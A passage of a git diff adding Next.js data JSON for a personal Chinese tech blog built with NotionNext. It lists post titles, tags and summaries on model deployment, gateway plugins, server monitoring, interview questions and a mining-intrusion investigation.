srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/guide.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/guide.json new file mode 100644 index 000000000..41f00bff8 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/guide.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d5